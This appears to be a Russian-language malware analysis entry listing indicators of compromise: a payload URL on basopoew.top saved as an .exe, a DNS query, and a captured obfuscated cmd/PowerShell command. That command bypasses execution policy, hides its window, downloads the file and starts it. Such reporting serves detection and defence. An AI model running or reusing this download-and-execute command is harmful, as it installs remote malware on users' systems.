Техническая информация
- http://www.basopoew.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PowersheLL.eXE -EXEcuTIoNPolICy bYpaSs -NOpRofILE -wInDowSTYle HiDDEn (NEW-objEcT SySTEM.neT.WebcLIeNT).downloAdFiLE('http://www.basopoew.top/read.php?f=1.gif','%ApPdata%.ExE');stARt...
- DNS ASK ba###oew.top
- '<SYSTEM32>\cmd.exe' /C "PowersheLL.eXE -EXEcuTIoNPolICy bYpaSs -NOpRofILE -wInDowSTYle HiDDEn (NEW-objEcT SySTEM.neT.WebcLIeNT).downloAdFiLE('http://www.basopoew.top/read.php?f=1.gif','%ApPdata%.ExE');stARt...' (со скрытым окном)